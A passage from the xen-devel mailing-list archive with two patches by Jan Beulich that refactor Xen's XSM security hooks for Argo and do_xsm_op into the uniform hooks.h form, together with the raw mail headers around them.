         hYHQj+Uh9XmVD/fyEOAwm8C4Irhc2cInV3oHoZRfoWAxCEvTM53BUSYgE659iFn3RdXB
         Y1oA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244921; x=1785849721;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=sNb6MGDbLdhr/i+rLQSnZDarDQNYYzkY9sEEN53Af6U=;
        b=tXxiVcMpLnL34ZT+3VyvBC1NxG4Y5ok3GY8P/yAL1b9XGQwuVch3u3nIxcR69pSgC3
         lILUC3LyOfUQ7x7wT44loqV83wXYrMaIz3vwpIQ2y4z9SJ2KDvA/rgZ/jemdXpPFjzdr
         ul2vkq6zcpjMitpb/rjTjG07LuQjXgn6IfJ1C2VgY9yMpz7TXzmCOSENA5vsZe9tFz96
         y3XbizLDrMmT4TLJl1kmcFqEgPM14mc5Izap68jQuG3LRs8YPh1gO1qOAPLkKacZQ4NK
         UgNyrrsmNAQH4pJee8WIpGKOG6jU5tJWwbhzChecah/4HYMpvbIbQpQiKneLYm5ZTT+I
         MVAQ==
X-Gm-Message-State: AOJu0YyNLPi3NSOf/Dv+ElJXm98yJCBhQA4st+sJ4YceDcQa4bafkM22
	OMcicF1xwTJGbFAzBI0Fe3Fdg2LF209IgqUQuzklUUg1ToNlok5SiwbJJCbPwc4tqnL4DoRj1Oc
	hTQtAIw==
X-Gm-Gg: AR+sD10quUmtGlKaj9em4gkF8MqqE6KzgXUSIeoq+dWghK7PT+eJel7y91ehkkKaYTl
	1xUf2fW1XSbGnGJTx/LgHUzQHtDyAY2bYSEEFIHI1I68wagh1IaGFYCJOw/HmsL5iHP57U8WJdi
	IKYUtt1n3SV/AxtTnK7dH9Fba08gmV0iLdBSknFPH1CN7uga/ddhw059W99cnblQjIsi4INe5IY
	QCqmoO9vvIZDd2SF4SLPCX5vYMCnLHXP1f/rU/IBzf+oA0Dfpa1i7ee5gxEPZ2J7lbjBThEL+SM
	pJNwBxaMfN5VP8qogmekdVrscBcY7v+KesRp60fz50++eIMRS1a5sCPTNFpd5/TGwU6fHbk5C8+
	RCGEZCd8SG7rqMnUBeCHYU0TqdZhPNyzwEMmQyJTTHLSDl2FS5Z6Q4zbjSyoLMp0XAXC8tJwt1i
	69bzk7h7/gIG3AYyS8k/sx/hclFoyD6KMdLkNXsuLnzYXT6daG8Ha955l7f7D0ys8CWg==
X-Received: by 2002:a05:600c:e548:10b0:495:518a:5cbf with SMTP id 5b1f17b1804b1-496c657241bmr18313625e9.32.1785244921399;
        Tue, 28 Jul 2026 06:22:01 -0700 (PDT)
Message-ID: <4bd4e7f7-e005-45b4-a543-98597a9de707@suse.com>
Date: Tue, 28 Jul 2026 15:22:00 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 17/24] XSM: make Argo hooks well-formed ones
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Jason Andryuk <jason.andryuk@amd.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8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vpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ef75cf/1785244921-344CBAE4-7ED74FC8/0/0
X-purgate-type: clean
X-purgate-size: 7692

For whatever reason they didn't have an xsm_default_t first argument (to
cope with XSM=n mode), making it impossible to (easily) cover them in
xsm/hooks.h.

To be able to retain the const on their function parameters, adjust
xsm_default_action() accordingly.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/common/argo.c
+++ b/xen/common/argo.c
@@ -1341,7 +1341,7 @@ fill_ring_data(const struct domain *curr
      * Don't supply information about rings that a guest is not
      * allowed to send to.
      */
-    ret = xsm_argo_send(currd, dst_d);
+    ret = xsm_argo_send(XSM_HOOK, currd, dst_d);
     if ( ret )
         goto out;
 
@@ -1666,8 +1666,9 @@ register_ring(struct domain *currd,
 
     if ( reg.partner_id == XEN_ARGO_DOMID_ANY )
     {
-        ret = opt_argo_mac_permissive ? xsm_argo_register_any_source(currd) :
-                                        -EPERM;
+        ret = opt_argo_mac_permissive
+              ? xsm_argo_register_any_source(XSM_HOOK, currd)
+              : -EPERM;
         if ( ret )
             return ret;
     }
@@ -1680,7 +1681,7 @@ register_ring(struct domain *currd,
             return -ESRCH;
         }
 
-        ret = xsm_argo_register_single_source(currd, dst_d);
+        ret = xsm_argo_register_single_source(XSM_HOOK, currd, dst_d);
         if ( ret )
             goto out;
 
@@ -2002,7 +2003,7 @@ sendv(struct domain *src_d, xen_argo_add
     if ( !dst_d )
         return -ESRCH;
 
-    ret = xsm_argo_send(src_d, dst_d);
+    ret = xsm_argo_send(XSM_HOOK, src_d, dst_d);
     if ( ret )
     {
         gprintk(XENLOG_ERR, "argo: XSM REJECTED %i -> %i\n",
@@ -2100,7 +2101,7 @@ do_argo_op(unsigned int cmd, XEN_GUEST_H
     if ( unlikely(!opt_argo) )
         return -EOPNOTSUPP;
 
-    rc = xsm_argo_enable(currd);
+    rc = xsm_argo_enable(XSM_HOOK, currd);
     if ( rc )
         return rc;
 
@@ -2242,7 +2243,7 @@ compat_argo_op(unsigned int cmd, XEN_GUE
     if ( unlikely(!opt_argo) )
         return -EOPNOTSUPP;
 
-    rc = xsm_argo_enable(currd);
+    rc = xsm_argo_enable(XSM_HOOK, currd);
     if ( rc )
         return rc;
 
@@ -2307,7 +2308,7 @@ argo_init(struct domain *d)
 {
     struct argo_domain *argo;
 
-    if ( !opt_argo || xsm_argo_enable(d) )
+    if ( !opt_argo || xsm_argo_enable(XSM_HOOK, d) )
     {
         argo_dprintk("argo disabled, domid: %u\n", d->domain_id);
         return 0;
@@ -2365,8 +2366,8 @@ argo_soft_reset(struct domain *d)
         wildcard_rings_pending_remove(d);
 
         /*
-         * Since neither opt_argo or xsm_argo_enable(d) can change at runtime,
-         * if d->argo is true then both opt_argo and xsm_argo_enable(d) must be
+         * Since neither opt_argo nor xsm_argo_enable() can change at runtime,
+         * if d->argo is true then both opt_argo and xsm_argo_enable() must be
          * true, and we can assume that init is allowed to proceed again here.
          */
         argo_domain_init(d->argo);
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -76,7 +76,7 @@ void __xsm_action_mismatch_detected(void
 #endif /* CONFIG_XSM */
 
 static always_inline int xsm_default_action(
-    xsm_default_t action, struct domain *src, struct domain *target)
+    xsm_default_t action, const struct domain *src, const struct domain *target)
 {
     switch ( action ) {
     case XSM_HOOK:
@@ -751,27 +751,32 @@ static XSM_INLINE int xsm_dm_op(XSM_DEFA
 #endif
 
 #ifdef CONFIG_ARGO
-static XSM_INLINE int xsm_argo_enable(const struct domain *d)
+
+static XSM_INLINE int xsm_argo_enable(XSM_DEFAULT_ARG const struct domain *d)
 {
-    return 0;
+    XSM_ASSERT_ACTION(XSM_HOOK);
+    return xsm_default_action(action, current->domain, d);
 }
 
 static XSM_INLINE int xsm_argo_register_single_source(
-    const struct domain *d, const struct domain *t)
+    XSM_DEFAULT_ARG const struct domain *d, const struct domain *t)
 {
-    return 0;
+    XSM_ASSERT_ACTION(XSM_HOOK);
+    return xsm_default_action(action, d, t);
 }
 
 static XSM_INLINE int xsm_argo_register_any_source(
-    const struct domain *d)
+    XSM_DEFAULT_ARG const struct domain *d)
 {
-    return 0;
+    XSM_ASSERT_ACTION(XSM_HOOK);
+    return xsm_default_action(action, current->domain, d);
 }
 
 static XSM_INLINE int xsm_argo_send(
-    const struct domain *d, const struct domain *t)
+    XSM_DEFAULT_ARG const struct domain *d, const struct domain *t)
 {
-    return 0;
+    XSM_ASSERT_ACTION(XSM_HOOK);
+    return xsm_default_action(action, d, t);
 }
 
 #endif /* CONFIG_ARGO */
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -156,6 +156,14 @@ XSM_HOOK(int, dm_op, struct domain *)
 XSM_HOOK(int, xen_version, uint32_t)
 XSM_HOOK(int, domain_resource_map, struct domain *)
 
+#ifdef CONFIG_ARGO
+XSM_HOOK(int, argo_enable, const struct domain *)
+XSM_HOOK(int, argo_register_single_source, const struct domain *,
+                                           const struct domain *)
+XSM_HOOK(int, argo_register_any_source, const struct domain *)
+XSM_HOOK(int, argo_send, const struct domain *, const struct domain *)
+#endif
+
 #undef XSM_HOOK0
 #undef XSM_HOOK1
 #undef XSM_HOOK2
--- a/xen/include/xsm/xsm.h
+++ b/xen/include/xsm/xsm.h
@@ -90,14 +90,6 @@ struct xsm_ops {
 #ifdef CONFIG_COMPAT
     int (*do_compat_op)(XEN_GUEST_HANDLE_PARAM(void) op);
 #endif
-
-#ifdef CONFIG_ARGO
-    int (*argo_enable)(const struct domain *d);
-    int (*argo_register_single_source)(const struct domain *d,
-                                       const struct domain *t);
-    int (*argo_register_any_source)(const struct domain *d);
-    int (*argo_send)(const struct domain *d, const struct domain *t);
-#endif
 };
 
 #ifdef CONFIG_XSM
@@ -213,30 +205,6 @@ static inline int xsm_do_compat_op(XEN_G
 }
 #endif
 
-#ifdef CONFIG_ARGO
-static inline int xsm_argo_enable(const struct domain *d)
-{
-    return alternative_call(xsm_ops.argo_enable, d);
-}
-
-static inline int xsm_argo_register_single_source(
-    const struct domain *d, const struct domain *t)
-{
-    return alternative_call(xsm_ops.argo_register_single_source, d, t);
-}
-
-static inline int xsm_argo_register_any_source(const struct domain *d)
-{
-    return alternative_call(xsm_ops.argo_register_any_source, d);
-}
-
-static inline int xsm_argo_send(const struct domain *d, const struct domain *t)
-{
-    return alternative_call(xsm_ops.argo_send, d, t);
-}
-
-#endif /* CONFIG_ARGO */
-
 #endif /* XSM_NO_WRAPPERS */
 
 #ifdef CONFIG_MULTIBOOT
--- a/xen/xsm/dummy.c
+++ b/xen/xsm/dummy.c
@@ -40,13 +40,6 @@ static const struct xsm_ops __initconst_
 #ifdef CONFIG_COMPAT
     .do_compat_op                  = xsm_do_compat_op,
 #endif
-
-#ifdef CONFIG_ARGO
-    .argo_enable                   = xsm_argo_enable,
-    .argo_register_single_source   = xsm_argo_register_single_source,
-    .argo_register_any_source      = xsm_argo_register_any_source,
-    .argo_send                     = xsm_argo_send,
-#endif
 };
 
 void __init xsm_fixup_ops(struct xsm_ops *ops)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1977,13 +1977,6 @@ static const struct xsm_ops __initconst_
 #ifdef CONFIG_COMPAT
     .do_compat_op = compat_flask_op,
 #endif
-
-#ifdef CONFIG_ARGO
-    .argo_enable = flask_argo_enable,
-    .argo_register_single_source = flask_argo_register_single_source,
-    .argo_register_any_source = flask_argo_register_any_source,
-    .argo_send = flask_argo_send,
-#endif
 };
 
 const struct xsm_ops *__init flask_init(



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:22:47 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:22:47 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374150.1621119 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohlf-0004An-2V; Tue, 28 Jul 2026 13:22:47 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374150.1621119; Tue, 28 Jul 2026 13:22:47 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohle-0004Af-UJ; Tue, 28 Jul 2026 13:22:46 +0000
Received: by outflank-mailman (input) for mailman id 1374150;
 Tue, 28 Jul 2026 13:22:46 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohld-0004AV-Rr
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:22:45 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohld-004dx0-8p
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:22:45 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad24-bab6-0a2a0a5309dd-0a2a4503bc34-6
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:22:45 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad25-fae8-0a2a45030019-d155802ec9cf-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:22:45 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-493b966dd74so24103115e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:22:45 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45cb67esm82409305e9.8.2026.07.28.06.22.43
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:22:44 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785244965; x=1785849765; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=OH3UAuRhXGzvJgR+A7mAaphd4Y33/NLRNKKXxQdQ/ok=;
        b=QYa5n6YhASWl0zwXLc+mfzaRNNS+Ta//XVzUXJZQu9G5ilkThr4ZIqzC6Aqh1Swgql
         BYiBqEXnokOlGOwBPwCCwjJvIxsjoGERsylVBptMLZQwFExkZ9QRpP+yV45vd1jiRCQ3
         Tl1Ua1EC5GBajfDkSQoumUtqPdOnvYOdHTXvfGYtr+S9wXQB83U5dR982kaVm69f8ajZ
         p/8bTlq0CAH5dw3WjtCoYO2PUmqLDvctni9W6Baymfbde3K5y9UIKeCexfNHNutE0DBc
         rxB3nky7sH9W+UtQAZizTDPFjqvDyeLkOs7O8l48ZBGcI6JJ6nyhIAQgEVSmhMRPqeH3
         NLeg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785244965; x=1785849765;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=OH3UAuRhXGzvJgR+A7mAaphd4Y33/NLRNKKXxQdQ/ok=;
        b=PsqoQ8aUaM3qyfunONUz5c7884wy9BowUYmULhQ97ry37s+kTYDZW4VCUC06qvCInZ
         sr8Mq5g6pHO2ziI4qCgEgunhHNUj0MXfKGv8wDG0Gh3HbtJtRqqVquc2mfWTSFo6tMQw
         pzQvxDVkmF/yOPrTzWq1FXgAJz4kMjwmDxkSIOAB6u94t4PvcN+G5kXI2IyJZ2lmyywz
         Q/wNJheJ0doeNshz0IToKQ6Q+VEpi3H4wP6NsxACgRvHw2qJMnznhzh9kIQlOEGtLTFV
         EWimXjzksMIJlAotdnz7aKT338IvlJ8vLk4quFIZB4G8U76JRyKK2NuU/ShmsV7fyBYO
         S1Hg==
X-Gm-Message-State: AOJu0YweVlGXSgvnzuuugYcmFMUdMv8jkDI0S8ZWT81MGaAHZ7sS3Y/m
	46jr2RuotormhpalLCIqH1WlxEOVXd4ikjY//UFQB2YykStr7p/RjVcb6dcwSTnQ7+g3Jm1H20n
	SMlhSuQ==
X-Gm-Gg: AR+sD134y7bWXw1eAx2XXeg106ChU/ZSAD6C8EQaF1mRo+qkmvzwwXA4h945Allo3yp
	bVw53sXIulT3pZf+RulcNB0VbSmMU5Y6VbTd5HbKtLdyUXX3emQWrTDjNXgzMzNP3S891ulU+c7
	u7kVyOx9eILE2pe2uHttep4xJbJ3eYHcWw3QXKdEJ7nV9Uy2JoCsJiC74lk+75GzphF2G6vQdv2
	tXhthfUwvcv/atgF8/DkePOj8sJ57eeoc2VA7qXEqKBcFRMkthG3zevqNW/QFD2qCY7whc/lek+
	ExXSdTOfS5j93IWoNdVS5t8wR63EltJdfX/qHJDPKW/FkQQbg4i6PecUj1sIDMblBF23skr0J9I
	0W3y06bIsduAayLHjmyvokeYk5WGTAnKI7r3axhKuWDMFsNv9F9PU3mRh+lL/6H9KWjnRqJPvdB
	0Ext7filpCII2ev4xO2yXMjVDnDdxbxMX30hIYMyelhwBB66aPww5540OHZhCWz6NsapoLcKrMQ
	rJx
X-Received: by 2002:a05:600c:1d19:b0:493:aa0a:45ad with SMTP id 5b1f17b1804b1-496c641518dmr30726955e9.2.1785244964461;
        Tue, 28 Jul 2026 06:22:44 -0700 (PDT)
Message-ID: <2c108d3c-eef1-4d4b-9874-b0721fd7560f@suse.com>
Date: Tue, 28 Jul 2026 15:22:43 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 18/24] XSM: make XSM hooks well-formed ones
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>
References: <758c8410-a18e-45dc-8944-5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ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785244965-770F64E9-21C563A3/0/0
X-purgate-type: clean
X-purgate-size: 4877

For whatever reason they didn't have an xsm_default_t first argument (to
cope with XSM=n mode), making it impossible to (easily) cover them in
xsm/hooks.h.

flask_do_xsm_op() is also changed to return int, as all the function ever
returns is an int. This way no new machinery needs adding to xsm/hooks.h.
Instead one piece of compat machinery can then be dropped from
xsm/flask/flask_op.c.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Instead of XSM_HOOK, using XSM_OTHER may also be a sensible option here.

Question is whether some/all of the other hooks still declared explicitly
in struct xsm_ops should follow suit.

--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -439,7 +439,7 @@ static XSM_INLINE int xsm_hypfs_op(XSM_D
 
 #ifdef CONFIG_XSM
 
-static XSM_INLINE long xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
+static XSM_INLINE int xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
     return -ENOSYS;
 }
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -156,6 +156,11 @@ XSM_HOOK(int, dm_op, struct domain *)
 XSM_HOOK(int, xen_version, uint32_t)
 XSM_HOOK(int, domain_resource_map, struct domain *)
 
+XSM_HOOK(int, do_xsm_op, XEN_GUEST_HANDLE_PARAM(void))
+#ifdef CONFIG_COMPAT
+XSM_HOOK(int, do_compat_op, XEN_GUEST_HANDLE_PARAM(void))
+#endif
+
 #ifdef CONFIG_ARGO
 XSM_HOOK(int, argo_enable, const struct domain *)
 XSM_HOOK(int, argo_register_single_source, const struct domain *,
--- a/xen/include/xsm/xsm.h
+++ b/xen/include/xsm/xsm.h
@@ -85,11 +85,6 @@ struct xsm_ops {
     char *(*show_security_evtchn)(struct domain *d, const struct evtchn *chn);
 
     char *(*show_irq_sid)(int irq);
-
-    long (*do_xsm_op)(XEN_GUEST_HANDLE_PARAM(void) op);
-#ifdef CONFIG_COMPAT
-    int (*do_compat_op)(XEN_GUEST_HANDLE_PARAM(void) op);
-#endif
 };
 
 #ifdef CONFIG_XSM
@@ -193,18 +188,6 @@ static inline char *xsm_show_irq_sid(int
     return alternative_call(xsm_ops.show_irq_sid, irq);
 }
 
-static inline long xsm_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
-{
-    return alternative_call(xsm_ops.do_xsm_op, op);
-}
-
-#ifdef CONFIG_COMPAT
-static inline int xsm_do_compat_op(XEN_GUEST_HANDLE_PARAM(void) op)
-{
-    return alternative_call(xsm_ops.do_compat_op, op);
-}
-#endif
-
 #endif /* XSM_NO_WRAPPERS */
 
 #ifdef CONFIG_MULTIBOOT
--- a/xen/xsm/dummy.c
+++ b/xen/xsm/dummy.c
@@ -35,11 +35,6 @@ static const struct xsm_ops __initconst_
     .show_security_evtchn          = xsm_show_security_evtchn,
 
     .show_irq_sid                  = xsm_show_irq_sid,
-
-    .do_xsm_op                     = xsm_do_xsm_op,
-#ifdef CONFIG_COMPAT
-    .do_compat_op                  = xsm_do_compat_op,
-#endif
 };
 
 void __init xsm_fixup_ops(struct xsm_ops *ops)
--- a/xen/xsm/flask/flask_op.c
+++ b/xen/xsm/flask/flask_op.c
@@ -23,7 +23,6 @@
 #include <conditional.h>
 #include "private.h"
 
-#define ret_t long
 #define _copy_to_guest copy_to_guest
 #define _copy_from_guest copy_from_guest
 
@@ -606,7 +605,7 @@ static int flask_relabel_domain(const st
 
 #endif /* !COMPAT */
 
-ret_t cf_check do_flask_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op)
+int cf_check flask_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op)
 {
     xen_flask_op_t op;
     int rv;
@@ -772,9 +771,7 @@ CHECK_flask_transition;
 #define flask_devicetree_label compat_devicetree_label
 
 #define xen_flask_op_t compat_flask_op_t
-#undef ret_t
-#define ret_t int
-#define do_flask_op compat_flask_op
+#define flask_do_xsm_op flask_do_compat_op
 
 #include "flask_op.c"
 #endif
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1971,12 +1971,6 @@ static const struct xsm_ops __initconst_
     .show_security_evtchn = flask_show_security_evtchn,
 
     .show_irq_sid = flask_show_irq_sid,
-
-    .do_xsm_op = do_flask_op,
-
-#ifdef CONFIG_COMPAT
-    .do_compat_op = compat_flask_op,
-#endif
 };
 
 const struct xsm_ops *__init flask_init(
--- a/xen/xsm/flask/private.h
+++ b/xen/xsm/flask/private.h
@@ -3,7 +3,7 @@
 
 #include <public/xen.h>
 
-long cf_check do_flask_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op);
-int cf_check compat_flask_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op);
+int cf_check flask_do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op);
+int cf_check flask_do_compat_op(XEN_GUEST_HANDLE_PARAM(void) u_flask_op);
 
 #endif /* XSM_FLASK_PRIVATE */
--- a/xen/xsm/xsm_core.c
+++ b/xen/xsm/xsm_core.c
@@ -216,12 +216,12 @@ bool __init has_xsm_magic(paddr_t start)
 
 long do_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
-    return xsm_do_xsm_op(op);
+    return xsm_do_xsm_op(XSM_HOOK, op);
 }
 
 #ifdef CONFIG_COMPAT
 int compat_xsm_op(XEN_GUEST_HANDLE_PARAM(void) op)
 {
-    return xsm_do_compat_op(op);
+    return xsm_do_compat_op(XSM_HOOK, op);
 }
 #endif



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:23:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:23:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374157.1621127 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohmO-0004ee-8J; Tue, 28 Jul 2026 13:23:32 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374157.1621127; Tue, 28 Jul 2026 13:23:32 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wohmO-0004eX-5c; Tue, 28 Jul 2026 13:23:32 +0000
Received: by outflank-mailman (input) for mailman id 1374157;
 Tue, 28 Jul 2026 13:23:31 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wohmM-0004eL-Rq
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:23:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wohmM-004meQ-8J
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:23:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad48-bab6-0a2a0a5309dd-0a2a4506bea2-30
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:23:30 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68ad52-195a-0a2a45060019-d1558036cc2c-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:23:30 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-4955aa106b1so36863885e9.0
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:23:30 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c45de1a3sm88411125e9.11.2026.07.28.06.23.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:23:28 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
